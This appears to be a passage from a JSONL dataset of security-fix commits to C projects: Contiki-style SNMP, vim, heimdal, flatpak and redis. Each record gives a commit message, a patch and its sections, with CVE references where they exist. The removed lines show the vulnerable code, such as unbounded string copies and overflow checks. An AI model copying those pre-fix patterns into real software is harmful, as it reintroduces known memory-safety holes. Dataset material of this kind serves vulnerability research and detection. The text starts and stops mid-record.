}\n } else {\n- resource->handler(&varbinds[i], resource->oid);\n+ resource->handler(&varbinds[i], &resource->oid);\n }\n+\n+ i++;\n }\n \n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-int\n-snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t *varbinds_length)\n+static inline int\n+snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds)\n {\n snmp_mib_resource_t *resource;\n- uint32_t i, j, original_varbinds_length;\n- uint32_t oid[SNMP_MAX_NR_VALUES][SNMP_MSG_OID_MAX_LEN];\n+ snmp_oid_t oids[SNMP_MAX_NR_VALUES];\n+ uint32_t j, original_varbinds_length;\n uint8_t repeater;\n+ uint8_t i, varbinds_length;\n \n /*\n * A local copy of the requested oids must be kept since\n * the varbinds are modified on the fly\n */\n- original_varbinds_length = *varbinds_length;\n- for(i = 0; i < original_varbinds_length; i++) {\n- snmp_oid_copy(oid[i], varbinds[i].oid);\n+ original_varbinds_length = 0;\n+ while(varbinds[original_varbinds_length].value_type != BER_DATA_TYPE_EOC && original_varbinds_length < SNMP_MAX_NR_VALUES) {\n+ memcpy(&oids[original_varbinds_length], &varbinds[original_varbinds_length].oid, sizeof(snmp_oid_t));\n+ original_varbinds_length++;\n }\n \n- *varbinds_length = 0;\n+ varbinds_length = 0;\n for(i = 0; i < original_varbinds_length; i++) {\n- if(i >= header->error_status_non_repeaters.non_repeaters) {\n+ if(i >= header->non_repeaters) {\n break;\n }\n \n- resource = snmp_mib_find_next(oid[i]);\n+ resource = snmp_mib_find_next(&oids[i]);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- resource->handler(&varbinds[*varbinds_length], resource->oid);\n- (*varbinds_length)++;\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ resource->handler(&varbinds[varbinds_length], &resource->oid);\n+ (varbinds_length)++;\n+ } else {\n+ return -1;\n }\n }\n }\n \n- for(i = 0; i < header->error_index_max_repetitions.max_repetitions; i++) {\n+ for(i = 0; i < header->max_repetitions; i++) {\n repeater = 0;\n- for(j = header->error_status_non_repeaters.non_repeaters; j < original_varbinds_length; j++) {\n- resource = snmp_mib_find_next(oid[j]);\n+ for(j = header->non_repeaters; j < original_varbinds_length; j++) {\n+ resource = snmp_mib_find_next(&oids[j]);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = *varbinds_length + 1;\n+ header->error_index = varbinds_length + 1;\n break;\n case SNMP_VERSION_2C:\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- (&varbinds[*varbinds_length])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n- snmp_oid_copy((&varbinds[*varbinds_length])->oid, oid[j]);\n- (*varbinds_length)++;\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ (&varbinds[varbinds_length])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n+ memcpy(&varbinds[varbinds_length].oid, &oids[j], sizeof(snmp_oid_t));\n+ (varbinds_length)++;\n+ } else {\n+ return -1;\n }\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- resource->handler(&varbinds[*varbinds_length], resource->oid);\n- (*varbinds_length)++;\n- snmp_oid_copy(oid[j], resource->oid);\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ resource->handler(&varbinds[varbinds_length], &resource->oid);\n+ (varbinds_length)++;\n+ memcpy(&oids[j], &resource->oid, sizeof(snmp_oid_t));\n repeater++;\n+ } else {\n+ return -1;\n }\n }\n }\n@@ -201,54 +215,54 @@ snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t *\n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-unsigned char *\n-snmp_engine(unsigned char *buff, uint32_t buff_len, unsigned char *out, uint32_t *out_len)\n+int\n+snmp_engine(snmp_packet_t *snmp_packet)\n {\n- static snmp_header_t header;\n- static snmp_varbind_t varbinds[SNMP_MAX_NR_VALUES];\n- static uint32_t varbind_length = SNMP_MAX_NR_VALUES;\n+ snmp_header_t header;\n+ snmp_varbind_t varbinds[SNMP_MAX_NR_VALUES];\n+\n+ memset(&header, 0, sizeof(header));\n+ memset(varbinds, 0, sizeof(varbinds));\n \n- buff = snmp_message_decode(buff, buff_len, &header, varbinds, &varbind_length);\n- if(buff == NULL) {\n- return NULL;\n+ if(!snmp_message_decode(snmp_packet, &header, varbinds)) {\n+ return 0;\n }\n \n if(header.version != SNMP_VERSION_1) {\n if(strncmp(header.community.community, SNMP_COMMUNITY, header.community.length)) {\n LOG_ERR(\"Request with invalid community\\n\");\n- return NULL;\n+ return 0;\n }\n }\n \n /*\n * Now handle the SNMP requests depending on their type\n */\n switch(header.pdu_type) {\n- case SNMP_DATA_TYPE_PDU_GET_REQUEST:\n- if(snmp_engine_get(&header, varbinds, varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_REQUEST:\n+ if(snmp_engine_get(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n- case SNMP_DATA_TYPE_PDU_GET_NEXT_REQUEST:\n- if(snmp_engine_get_next(&header, varbinds, varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_NEXT_REQUEST:\n+ if(snmp_engine_get_next(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n- case SNMP_DATA_TYPE_PDU_GET_BULK:\n- if(snmp_engine_get_bulk(&header, varbinds, &varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_BULK:\n+ if(snmp_engine_get_bulk(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n default:\n LOG_ERR(\"Invalid request type\");\n- return NULL;\n+ return 0;\n }\n \n- header.pdu_type = SNMP_DATA_TYPE_PDU_GET_RESPONSE;\n- out = snmp_message_encode(out, out_len, &header, varbinds, varbind_length);\n+ header.pdu_type = BER_DATA_TYPE_PDU_GET_RESPONSE;\n \n- return ++out;\n+ return snmp_message_encode(snmp_packet, &header, varbinds);\n }", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (C) 2019 Yago Fontoura do Rosario \n+ * Copyright (C) 2019-2020 Yago Fontoura do Rosario \n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n", "related": false}, {"section": "@@ -32,7 +32,7 @@\n \n /**\n * \\file\n- * An implementation of the Simple Network Management Protocol (RFC 3411-3418)\n+ * SNMP Implementation of the protocol engine\n * \\author\n * Yago Fontoura do Rosario version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_NO_SUCH_INSTANCE;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_NO_SUCH_INSTANCE;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- resource->handler(&varbinds[i], resource->oid);\n+ resource->handler(&varbinds[i], &resource->oid);\n }\n+\n+ i++;\n }\n \n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-int\n-snmp_engine_get_next(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t varbinds_length)\n+static inline int\n+snmp_engine_get_next(snmp_header_t *header, snmp_varbind_t *varbinds)\n {\n snmp_mib_resource_t *resource;\n- uint32_t i;\n+ uint8_t i;\n \n- for(i = 0; i < varbinds_length; i++) {\n- resource = snmp_mib_find_next(varbinds[i].oid);\n+ i = 0;\n+ while(varbinds[i].value_type != BER_DATA_TYPE_EOC && i < SNMP_MAX_NR_VALUES) {\n+ resource = snmp_mib_find_next(&varbinds[i].oid);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- resource->handler(&varbinds[i], resource->oid);\n+ resource->handler(&varbinds[i], &resource->oid);\n }\n+\n+ i++;\n }\n \n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-int\n-snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t *varbinds_length)\n+static inline int\n+snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds)\n {\n snmp_mib_resource_t *resource;\n- uint32_t i, j, original_varbinds_length;\n- uint32_t oid[SNMP_MAX_NR_VALUES][SNMP_MSG_OID_MAX_LEN];\n+ snmp_oid_t oids[SNMP_MAX_NR_VALUES];\n+ uint32_t j, original_varbinds_length;\n uint8_t repeater;\n+ uint8_t i, varbinds_length;\n \n /*\n * A local copy of the requested oids must be kept since\n * the varbinds are modified on the fly\n */\n- original_varbinds_length = *varbinds_length;\n- for(i = 0; i < original_varbinds_length; i++) {\n- snmp_oid_copy(oid[i], varbinds[i].oid);\n+ original_varbinds_length = 0;\n+ while(varbinds[original_varbinds_length].value_type != BER_DATA_TYPE_EOC && original_varbinds_length < SNMP_MAX_NR_VALUES) {\n+ memcpy(&oids[original_varbinds_length], &varbinds[original_varbinds_length].oid, sizeof(snmp_oid_t));\n+ original_varbinds_length++;\n }\n \n- *varbinds_length = 0;\n+ varbinds_length = 0;\n for(i = 0; i < original_varbinds_length; i++) {\n- if(i >= header->error_status_non_repeaters.non_repeaters) {\n+ if(i >= header->non_repeaters) {\n break;\n }\n \n- resource = snmp_mib_find_next(oid[i]);\n+ resource = snmp_mib_find_next(&oids[i]);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = i + 1;\n+ header->error_index = i + 1;\n break;\n case SNMP_VERSION_2C:\n- (&varbinds[i])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n+ (&varbinds[i])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- resource->handler(&varbinds[*varbinds_length], resource->oid);\n- (*varbinds_length)++;\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ resource->handler(&varbinds[varbinds_length], &resource->oid);\n+ (varbinds_length)++;\n+ } else {\n+ return -1;\n }\n }\n }\n \n- for(i = 0; i < header->error_index_max_repetitions.max_repetitions; i++) {\n+ for(i = 0; i < header->max_repetitions; i++) {\n repeater = 0;\n- for(j = header->error_status_non_repeaters.non_repeaters; j < original_varbinds_length; j++) {\n- resource = snmp_mib_find_next(oid[j]);\n+ for(j = header->non_repeaters; j < original_varbinds_length; j++) {\n+ resource = snmp_mib_find_next(&oids[j]);\n if(!resource) {\n switch(header->version) {\n case SNMP_VERSION_1:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n /*\n * Varbinds are 1 indexed\n */\n- header->error_index_max_repetitions.error_index = *varbinds_length + 1;\n+ header->error_index = varbinds_length + 1;\n break;\n case SNMP_VERSION_2C:\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- (&varbinds[*varbinds_length])->value_type = SNMP_DATA_TYPE_END_OF_MIB_VIEW;\n- snmp_oid_copy((&varbinds[*varbinds_length])->oid, oid[j]);\n- (*varbinds_length)++;\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ (&varbinds[varbinds_length])->value_type = BER_DATA_TYPE_END_OF_MIB_VIEW;\n+ memcpy(&varbinds[varbinds_length].oid, &oids[j], sizeof(snmp_oid_t));\n+ (varbinds_length)++;\n+ } else {\n+ return -1;\n }\n break;\n default:\n- header->error_status_non_repeaters.error_status = SNMP_STATUS_NO_SUCH_NAME;\n- header->error_index_max_repetitions.error_index = 0;\n+ header->error_status = SNMP_STATUS_NO_SUCH_NAME;\n+ header->error_index = 0;\n }\n } else {\n- if(*varbinds_length < SNMP_MAX_NR_VALUES) {\n- resource->handler(&varbinds[*varbinds_length], resource->oid);\n- (*varbinds_length)++;\n- snmp_oid_copy(oid[j], resource->oid);\n+ if(varbinds_length < SNMP_MAX_NR_VALUES) {\n+ resource->handler(&varbinds[varbinds_length], &resource->oid);\n+ (varbinds_length)++;\n+ memcpy(&oids[j], &resource->oid, sizeof(snmp_oid_t));\n repeater++;\n+ } else {\n+ return -1;\n }\n }\n }\n", "related": false}, {"section": "@@ -201,54 +215,54 @@ snmp_engine_get_bulk(snmp_header_t *header, snmp_varbind_t *varbinds, uint32_t *\n return 0;\n }\n /*---------------------------------------------------------------------------*/\n-unsigned char *\n-snmp_engine(unsigned char *buff, uint32_t buff_len, unsigned char *out, uint32_t *out_len)\n+int\n+snmp_engine(snmp_packet_t *snmp_packet)\n {\n- static snmp_header_t header;\n- static snmp_varbind_t varbinds[SNMP_MAX_NR_VALUES];\n- static uint32_t varbind_length = SNMP_MAX_NR_VALUES;\n+ snmp_header_t header;\n+ snmp_varbind_t varbinds[SNMP_MAX_NR_VALUES];\n+\n+ memset(&header, 0, sizeof(header));\n+ memset(varbinds, 0, sizeof(varbinds));\n \n- buff = snmp_message_decode(buff, buff_len, &header, varbinds, &varbind_length);\n- if(buff == NULL) {\n- return NULL;\n+ if(!snmp_message_decode(snmp_packet, &header, varbinds)) {\n+ return 0;\n }\n \n if(header.version != SNMP_VERSION_1) {\n if(strncmp(header.community.community, SNMP_COMMUNITY, header.community.length)) {\n LOG_ERR(\"Request with invalid community\\n\");\n- return NULL;\n+ return 0;\n }\n }\n \n /*\n * Now handle the SNMP requests depending on their type\n */\n switch(header.pdu_type) {\n- case SNMP_DATA_TYPE_PDU_GET_REQUEST:\n- if(snmp_engine_get(&header, varbinds, varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_REQUEST:\n+ if(snmp_engine_get(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n- case SNMP_DATA_TYPE_PDU_GET_NEXT_REQUEST:\n- if(snmp_engine_get_next(&header, varbinds, varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_NEXT_REQUEST:\n+ if(snmp_engine_get_next(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n- case SNMP_DATA_TYPE_PDU_GET_BULK:\n- if(snmp_engine_get_bulk(&header, varbinds, &varbind_length) == -1) {\n- return NULL;\n+ case BER_DATA_TYPE_PDU_GET_BULK:\n+ if(snmp_engine_get_bulk(&header, varbinds) == -1) {\n+ return 0;\n }\n break;\n \n default:\n LOG_ERR(\"Invalid request type\");\n- return NULL;\n+ return 0;\n }\n \n- header.pdu_type = SNMP_DATA_TYPE_PDU_GET_RESPONSE;\n- out = snmp_message_encode(out, out_len, &header, varbinds, varbind_length);\n+ header.pdu_type = BER_DATA_TYPE_PDU_GET_RESPONSE;\n \n- return ++out;\n+ return snmp_message_encode(snmp_packet, &header, varbinds);\n }", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/drawscreen.c", "commit_id": "826bfe4bbd7594188e3d74d2539d9707b1c6a14b", "commit_message": "patch 8.2.3487: illegal memory access if buffer name is very long\n\nProblem: Illegal memory access if buffer name is very long.\nSolution: Make sure not to go over the end of the buffer.", "patch": "@@ -464,13 +464,13 @@ win_redr_status(win_T *wp, int ignore_pum UNUSED)\n \t *(p + len++) = ' ';\n \tif (bt_help(wp->w_buffer))\n \t{\n-\t STRCPY(p + len, _(\"[Help]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[Help]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n #ifdef FEAT_QUICKFIX\n \tif (wp->w_p_pvw)\n \t{\n-\t STRCPY(p + len, _(\"[Preview]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[Preview]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n #endif\n@@ -480,12 +480,12 @@ win_redr_status(win_T *wp, int ignore_pum UNUSED)\n #endif\n \t\t)\n \t{\n-\t STRCPY(p + len, \"[+]\");\n-\t len += 3;\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", \"[+]\");\n+\t len += (int)STRLEN(p + len);\n \t}\n \tif (wp->w_buffer->b_p_ro)\n \t{\n-\t STRCPY(p + len, _(\"[RO]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[RO]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n ", "sections": [{"section": "@@ -464,13 +464,13 @@ win_redr_status(win_T *wp, int ignore_pum UNUSED)\n \t *(p + len++) = ' ';\n \tif (bt_help(wp->w_buffer))\n \t{\n-\t STRCPY(p + len, _(\"[Help]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[Help]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n #ifdef FEAT_QUICKFIX\n \tif (wp->w_p_pvw)\n \t{\n-\t STRCPY(p + len, _(\"[Preview]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[Preview]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n #endif\n", "related": false}, {"section": "@@ -480,12 +480,12 @@ win_redr_status(win_T *wp, int ignore_pum UNUSED)\n #endif\n \t\t)\n \t{\n-\t STRCPY(p + len, \"[+]\");\n-\t len += 3;\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", \"[+]\");\n+\t len += (int)STRLEN(p + len);\n \t}\n \tif (wp->w_buffer->b_p_ro)\n \t{\n-\t STRCPY(p + len, _(\"[RO]\"));\n+\t vim_snprintf((char *)p + len, MAXPATHL - len, \"%s\", _(\"[RO]\"));\n \t len += (int)STRLEN(p + len);\n \t}\n ", "related": false}]} +{"owner": "heimdal", "repo": "heimdal", "language": "C", "file_name": "kdc/krb5tgs.c", "commit_id": "04171147948d0a3636bc6374181926f0fb2ec83a", "commit_message": "kdc: validate sname in TGS-REQ\n\nIn tgs_build_reply(), validate the server name in the TGS-REQ is present before\ndereferencing.", "patch": "@@ -1699,6 +1699,10 @@ tgs_build_reply(astgs_request_t priv,\n \n \ts = &adtkt.cname;\n \tr = adtkt.crealm;\n+ } else if (s == NULL) {\n+\tret = KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN;\n+\t_kdc_set_e_text(r, \"No server in request\");\n+\tgoto out;\n }\n \n _krb5_principalname2krb5_principal(context, &sp, *s, r);", "sections": [{"section": "@@ -1699,6 +1699,10 @@ tgs_build_reply(astgs_request_t priv,\n \n \ts = &adtkt.cname;\n \tr = adtkt.crealm;\n+ } else if (s == NULL) {\n+\tret = KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN;\n+\t_kdc_set_e_text(r, \"No server in request\");\n+\tgoto out;\n }\n \n _krb5_principalname2krb5_principal(context, &sp, *s, r);", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-run.c", "commit_id": "1330662f33a55e88bfe18e76de28b7922d91a999", "commit_message": "run: Don't allow unmounting filesystems\n\nIf we don't allow mounting filesystems, we shouldn't allow unmounting\neither.\n\nPartially fixes GHSA-67h7-w3jq-vh4q.\n\nSigned-off-by: Simon McVittie ", "patch": "@@ -2934,6 +2934,8 @@ setup_seccomp (FlatpakBwrap *bwrap,\n {SCMP_SYS (unshare), EPERM},\n {SCMP_SYS (setns), EPERM},\n {SCMP_SYS (mount), EPERM},\n+ {SCMP_SYS (umount), EPERM},\n+ {SCMP_SYS (umount2), EPERM},\n {SCMP_SYS (pivot_root), EPERM},\n #if defined(__s390__) || defined(__s390x__) || defined(__CRIS__)\n /* Architectures with CONFIG_CLONE_BACKWARDS2: the child stack", "sections": [{"section": "@@ -2934,6 +2934,8 @@ setup_seccomp (FlatpakBwrap *bwrap,\n {SCMP_SYS (unshare), EPERM},\n {SCMP_SYS (setns), EPERM},\n {SCMP_SYS (mount), EPERM},\n+ {SCMP_SYS (umount), EPERM},\n+ {SCMP_SYS (umount2), EPERM},\n {SCMP_SYS (pivot_root), EPERM},\n #if defined(__s390__) || defined(__s390x__) || defined(__CRIS__)\n /* Architectures with CONFIG_CLONE_BACKWARDS2: the child stack", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/sds.c", "commit_id": "c6ad876774f3cc11e32681ea02a2eead00f2c521", "commit_message": "Fix integer overflow in _sdsMakeRoomFor (CVE-2021-41099)", "patch": "@@ -205,7 +205,7 @@ void sdsclear(sds s) {\n sds sdsMakeRoomFor(sds s, size_t addlen) {\n void *sh, *newsh;\n size_t avail = sdsavail(s);\n- size_t len, newlen;\n+ size_t len, newlen, reqlen;\n char type, oldtype = s[-1] & SDS_TYPE_MASK;\n int hdrlen;\n \n@@ -214,7 +214,7 @@ sds sdsMakeRoomFor(sds s, size_t addlen) {\n \n len = sdslen(s);\n sh = (char*)s-sdsHdrSize(oldtype);\n- newlen = (len+addlen);\n+ reqlen = newlen = (len+addlen);\n assert(newlen > len); /* Catch size_t overflow */\n if (newlen < SDS_MAX_PREALLOC)\n newlen *= 2;\n@@ -229,7 +229,7 @@ sds sdsMakeRoomFor(sds s, size_t addlen) {\n if (type == SDS_TYPE_5) type = SDS_TYPE_8;\n \n hdrlen = sdsHdrSize(type);\n- assert(hdrlen + newlen + 1 > len); /* Catch size_t overflow */\n+ assert(hdrlen + newlen + 1 > reqlen); /* Catch size_t overflow */\n if (oldtype==type) {\n newsh = s_realloc(sh, hdrlen+newlen+1);\n if (newsh == NULL) return NULL;", "sections": [{"section": "@@ -205,7 +205,7 @@ void sdsclear(sds s) {\n sds sdsMakeRoomFor(sds s, size_t addlen) {\n void *sh, *newsh;\n size_t avail = sdsavail(s);\n- size_t len, newlen;\n+ size_t len, newlen, reqlen;\n char type, oldtype = s[-1] & SDS_TYPE_MASK;\n int hdrlen;\n \n", "related": false}, {"section": "@@ -214,7 +214,7 @@ sds sdsMakeRoomFor(sds s, size_t addlen) {\n \n len = sdslen(s);\n sh = (char*)s-sdsHdrSize(oldtype);\n- newlen = (len+addlen);\n+ reqlen = newlen = (len+addlen);\n assert(newlen > len); /* Catch size_t overflow */\n if (newlen < SDS_MAX_PREALLOC)\n newlen *= 2;\n", "related": false}, {"section": "@@ -229,7 +229,7 @@ sds sdsMakeRoomFor(sds s, size_t addlen) {\n if (type == SDS_TYPE_5) type = SDS_TYPE_8;\n \n hdrlen = sdsHdrSize(type);\n- assert(hdrlen + newlen + 1 > len); /* Catch size_t overflow */\n+ assert(hdrlen + newlen + 1 > reqlen); /* Catch size_t overflow */\n if (oldtype==type) {\n newsh = s_realloc(sh, hdrlen+newlen+1);\n if (newsh == NULL) return NULL;", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/geo.c", "commit_id": "f6a40570fa63d5afdd596c78083d754081d80ae3", "commit_message": "Fix ziplist and listpack overflows and truncations (CVE-2021-32627, CVE-2021-32628)\n\n- fix possible heap corruption in ziplist and listpack resulting by trying to\n allocate more than the maximum size of 4GB.\n- prevent ziplist (hash and zset) from reaching size of above 1GB, will be\n converted to HT encoding, that's not a useful size.\n- prevent listpack (stream) from reaching size of above 1GB.\n- XADD will start a new listpack if the new record may cause the previous\n listpack to grow over 1GB.\n- XADD will respond with an error if a single stream record is over 1GB\n- List type (ziplist in quicklist) was truncating strings that were over 4GB,\n now it'll respond with an error.", "patch": "@@ -635,7 +635,7 @@ void georadiusGeneric(client *c, int flags) {\n robj *zobj;\n zset *zs;\n int i;\n- size_t maxelelen = 0;\n+ size_t maxelelen = 0, totelelen = 0;\n \n if (returned_items) {\n zobj = createZsetObject();\n@@ -650,13 +650,14 @@ void georadiusGeneric(client *c, int flags) {\n size_t elelen = sdslen(gp->member);\n \n if (maxelelen < elelen) maxelelen = elelen;\n+ totelelen += elelen;\n znode = zslInsert(zs->zsl,score,gp->member);\n serverAssert(dictAdd(zs->dict,gp->member,&znode->score) == DICT_OK);\n gp->member = NULL;\n }\n \n if (returned_items) {\n- zsetConvertToZiplistIfNeeded(zobj,maxelelen);\n+ zsetConvertToZiplistIfNeeded(zobj,maxelelen,totelelen);\n setKey(c,c->db,storekey,zobj);\n decrRefCount(zobj);\n notifyKeyspaceEvent(NOTIFY_ZSET,\"georadiusstore\",storekey,", "sections": [{"section": "@@ -635,7 +635,7 @@ void georadiusGeneric(client *c, int flags) {\n robj *zobj;\n zset *zs;\n int i;\n- size_t maxelelen = 0;\n+ size_t maxelelen = 0, totelelen = 0;\n \n if (returned_items) {\n zobj = createZsetObject();\n", "related": false}, {"section": "@@ -650,13 +650,14 @@ void georadiusGeneric(client *c, int flags) {\n size_t elelen = sdslen(gp->member);\n \n if (maxelelen < elelen) maxelelen = elelen;\n+ totelelen += elelen;\n znode = zslInsert(zs->zsl,score,gp->member);\n serverAssert(dictAdd(zs->dict,gp->member,&znode->score) == DICT_OK);\n gp->member = NULL;\n }\n \n if (returned_items) {\n- zsetConvertToZiplistIfNeeded(zobj,maxelelen);\n+ zsetConvertToZiplistIfNeeded(zobj,maxelelen,totelelen);\n setKey(c,c->db,storekey,zobj);\n decrRefCount(zobj);\n notifyKeyspaceEvent(NOTIFY_ZSET,\"georadiusstore\",storekey,", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/ziplist.h", "commit_id": "f6a40570fa63d5afdd596c78083d754081d80ae3", "commit_message": "Fix ziplist and listpack overflows and truncations (CVE-2021-32627, CVE-2021-32628)\n\n- fix possible heap corruption in ziplist and listpack resulting by trying to\n allocate more than the maximum size of 4GB.\n- prevent ziplist (hash and zset) from reaching size of above 1GB, will be\n converted to HT encoding, that's not a useful size.\n- prevent listpack (stream) from reaching size of above 1GB.\n- XADD will start a new listpack if the new record may cause the previous\n listpack to grow over 1GB.\n- XADD will respond with an error if a single stream record is over 1GB\n- List type (ziplist in quicklist) was truncating strings that were over 4GB,\n now it'll respond with an error.", "patch": "@@ -49,6 +49,7 @@ unsigned char *ziplistFind(unsigned char *p, unsigned char *vstr, unsigned int v\n unsigned int ziplistLen(unsigned char *zl);\n size_t ziplistBlobLen(unsigned char *zl);\n void ziplistRepr(unsigned char *zl);\n+int ziplistSafeToAdd(unsigned char* zl, size_t add);\n \n #ifdef REDIS_TEST\n int ziplistTest(int argc, char *argv[]);", "sections": [{"section": "@@ -49,6 +49,7 @@ unsigned char *ziplistFind(unsigned char *p, unsigned char *vstr, unsigned int v\n unsigned int ziplistLen(unsigned char *zl);\n size_t ziplistBlobLen(unsigned char *zl);\n void ziplistRepr(unsigned char *zl);\n+int ziplistSafeToAdd(unsigned char* zl, size_t add);\n \n #ifdef REDIS_TEST\n int ziplistTest(int argc, char *argv[]);", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/ziplist.c", "commit_id": "f6a40570fa63d5afdd596c78083d754081d80ae3", "commit_message": "Fix ziplist and listpack overflows and truncations (CVE-2021-32627, CVE-2021-32628)\n\n- fix possible heap corruption in ziplist and listpack resulting by trying to\n allocate more than the maximum size of 4GB.\n- prevent ziplist (hash and zset) from reaching size of above 1GB, will be\n converted to HT encoding, that's not a useful size.\n- prevent listpack (stream) from reaching size of above 1GB.\n- 